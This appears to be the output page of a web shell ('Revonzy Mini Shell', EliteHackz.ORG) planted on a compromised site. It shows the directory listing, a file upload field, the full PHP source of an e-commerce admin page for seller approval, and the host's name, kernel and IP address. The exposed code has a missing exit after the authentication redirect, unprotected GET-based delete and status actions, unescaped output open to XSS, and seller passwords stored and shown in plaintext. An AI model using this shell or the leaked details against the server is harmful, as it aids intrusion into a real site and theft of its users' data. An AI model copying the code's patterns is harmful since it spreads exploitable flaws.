Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/public_html/balajimall.com/admin/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/public_html/balajimall.com/admin/approve-seller.php

<?php
	require_once("../lib/functions.php");
	$db = new login_function();
	$flag = 0;
	$success_msg = 0;
	$emp_id="";
	$designation="";
	$emp_name="";
	$succ_msg = 0;
	$to_date="";
	$from_date = "";
	$seller_name = "";
	$shop_name = "";
	if(!isset($_SESSION['current_login_admin']))
	{
		header("Location:/admin/index.php");
	}
	if(isset($_SESSION['current_login_admin']))
	{
		$email	=	$_SESSION['current_login_admin'];
	}
	
	if(isset($_GET['delete_id']))
	{
		$del_id	=	$_GET['delete_id'];
		$db->delete_seller_info($del_id);
		$success_msg	=	2;
	}
	if(isset($_GET['approve_id']))
	{
		$status = "Approve";
		$approve_id	=	$_GET['approve_id'];
		$db->update_seller_status($approve_id);
		$succ_msg	=	2;
	}
	if($to_date == "")
	{
		$to_date = Date("d-m-Y");
	}
	if($from_date == "")
	{
		$from_date = Date("d-m-Y");
	}
	if(isset($_GET['active_id']))
	{
		$approve_id	=	$_GET['active_id'];
		$db->update_seller_pending_status($approve_id);
		$succ_msg	=	2;
	}
?>
<?php
	require_once('header.php');
?>
<script src="src/jquery.table2excel.js"></script>
  <script type="text/javascript">
  $(document).ready(function(){
  $("#excel_btn").click(function(){
  $("#table2excel").table2excel({
  exclude: ".noExl",
  name: "Worksheet Name",
  filename: "Active Seller Report" //do not include extension

  });

});

});

</script>
<link rel="stylesheet" href="//code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css">
  <link rel="stylesheet" href="/resources/demos/style.css">
  <script src="https://code.jquery.com/jquery-1.12.4.js"></script>
  <script src="https://code.jquery.com/ui/1.12.1/jquery-ui.js"></script>
  <script>
  $( function() {
    $( "#datepicker" ).datepicker({ dateFormat: 'dd-mm-yy' });
  } );
  </script>
   <script>
  $( function() {
    $( "#datepicker1" ).datepicker({ dateFormat: 'dd-mm-yy' });
  } );
  </script>



        <div id="page-wrapper">
            <div class="row">
                <div class="col-lg-12">
                    <h1 class="page-header"> Active Seller Report</h1>
					
					<?php
					if($success_msg == 2)
					{?>
						<div class="alert alert-danger">
							Information Deleted Successfully.
						</div>
					<?php
					}
					?>
					<?php
					if($succ_msg == 1)
					{?>
						<div class="alert alert-success">
							Registration Pending Successfully.
						</div>
					<?php
					}
					?>
					
                </div>
                
            </div>
           
               <div class="row">
                 <div class="col-lg-12">
                    <div class="panel panel-default">
                        <div class="panel-heading">
                          Active Seller Report
                        </div>
                         <div class="panel-body">
                            <div class="row">
								<?php
									if(isset($_POST['add_btn']))
									{
										$seller_name 	= $_POST['seller_name'];
										$to_date 		= $_POST['to_date'];
										$from_date 		= $_POST['from_date'];
										$shop_name 		= $_POST['shop_name'];
										
									    $_SESSION['search_date_from']	=   $from_date;
									    $_SESSION['search_date_to']	    =   $to_date;
									    $_SESSION['search_seller_name']	=   $seller_name;
									    $_SESSION['search_shop_name']	=   $shop_name;
									}
									else if(isset($_SESSION['search_date_from']) AND isset($_SESSION['search_date_to']))
									{
									    $seller_name 	= $_SESSION['search_seller_name'];
										$to_date 		= $_SESSION['search_date_to'];
										$from_date 		= $_SESSION['search_date_from'];
										$shop_name 		= $_SESSION['search_shop_name'];
									}
								?>
                                <form role="form" method="post" enctype="multipart/form-data">
									<div class="col-lg-3">
                                        <input class="form-control" placeholder="Seller Name" name="seller_name" type="text" value="<?php echo $seller_name; ?>" >		
									</div>
									<div class="col-lg-2">
                                        <input class="form-control" placeholder="Shop Name" name="shop_name" type="text" value="<?php echo $shop_name; ?>" >		
									</div>
                                     <div class="col-lg-2">
									<input type="text" class="form-control" id="datepicker" name="from_date" value="<?php echo $from_date; ?>">

									  </div>
									  <div class="col-lg-2">
                                            <input type="text" class="form-control" id="datepicker1" placeholder="Enter Date to" name="to_date" value="<?php echo $to_date; ?>">

									  </div>
							
									<div class="col-lg-3">
										<button type="submit" class="btn btn-success" name="add_btn">search</button>
									</div>
							</div>
						 </div>
                        <div class="panel-body">
                            <div class="table-responsive">
                                <table class="table table-striped table-bordered table-hover" id="table2excel" style="width:100%">
                                    <thead>
									<tr>
										<th colspan="13">  Active Seller Report</th>
									</tr>
                                        <tr class="noExl">
                                            <th>Sr. No</th>
                                            <th>Shop Name</th>
											<th>Owner Name</th>
											<th>Address</th>
                                            <th>Contact No</th>	
                                            <th>Shop Act Licence</th>											
											<th>Email</th>
                                            <th>Password</th>	
											<th width="30">Gender</th>	
											<th width="200">DOB</th>
											<th width="200">Allowed Ads</th>
											<th width="200">Package Start Date</th>	
											<th width="200">Package End Date</th>	
											<th width="250">Status</th>											
											<th width="100">Action</th>
											<th width="100">Action</th>
                                        </tr>
                                    </thead>
                                    <tbody>
									<?php
									
										$report_details = $db->get_all_approve_seller_info($seller_name,$shop_name,$from_date,$to_date);
										if(!empty($report_details))
										{
											$counter =0;
											foreach($report_details as $record)
											{
												$id				=	$report_details[$counter][0];
												$shop_name		=	$report_details[$counter][1];
												$owner_name		=	$report_details[$counter][2];
												$address		=	$report_details[$counter][3];
												$contact_no		=	$report_details[$counter][4];
												$licence_no		=	$report_details[$counter][5];
												$seller_email	=	$report_details[$counter][6];
												$password		=	$report_details[$counter][7];
												$confirm_password=	$report_details[$counter][8];
												$gender			 =	$report_details[$counter][9];
												$dob			 =	$report_details[$counter][10];
												$status			 =	$report_details[$counter][11];
												$ads_allowed    =   $report_details[$counter][12];
												$account_date_from   =   $report_details[$counter][13];
												$account_date_to    =   $report_details[$counter][14];
									?>
                                        <tr>
                                            <td><?php echo $counter+1; ?></td>
											<td><?php echo $shop_name; ?></td>
											<td><?php echo $owner_name; ?></td>
											<td><?php echo $address; ?></td>
											<td><?php echo $contact_no; ?></td>
											<td><?php echo $licence_no; ?></td>
											<td><?php echo $seller_email; ?></td>
											<td><?php echo $password; ?></td>
											<td><?php echo $gender; ?></td>
											<td><?php echo $dob = date("d-m-Y",strtotime($dob)); ?></td>
											<td><?php echo $ads_allowed; ?></td>
											<td><?php echo $account_date_from; ?></td>
											<td><?php echo $account_date_to; ?></td>
											<td>
												<?php
													if($status == 'Inactive')
													{
												?>
														Inactive <br /><a href="approve-seller.php?active_id=<?php echo $id;?>">Make it - Active</a></td>
												<?php
													}
													else
													{
												?>
												Active <br /><a href="approve-seller.php?approve_id=<?php echo $id;?>">Make it - Inactive</a></td>
													<?php
														}
													?>
											<td><a href="edit-seller-info.php?up_id=<?php echo $id;?>">Edit</a></td>

                                            <td><a href="approve-seller.php?delete_id=<?php echo $id;?>" onclick="return confirm('Are you sure?');">Delete</a></td>
										</tr>
                                       <?php
										$counter ++;
											}
										}else
										{
										?>
										<td colspan="14">No Data Found...</td>
										<?php
										}
									   
									   
									   ?>
                                    </tbody>
                                </table>
									<button id="excel_btn" class="btn btn-success">Export</button>

                            </div>
                            <!-- /.table-responsive -->
                       
                                
                                   
                               
                                
                            </div>
                           
                        </div>
                        
                    </div>
                    
                </div>
              
            </div>
            
        </div>
       

    </div>
    

</body>

</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4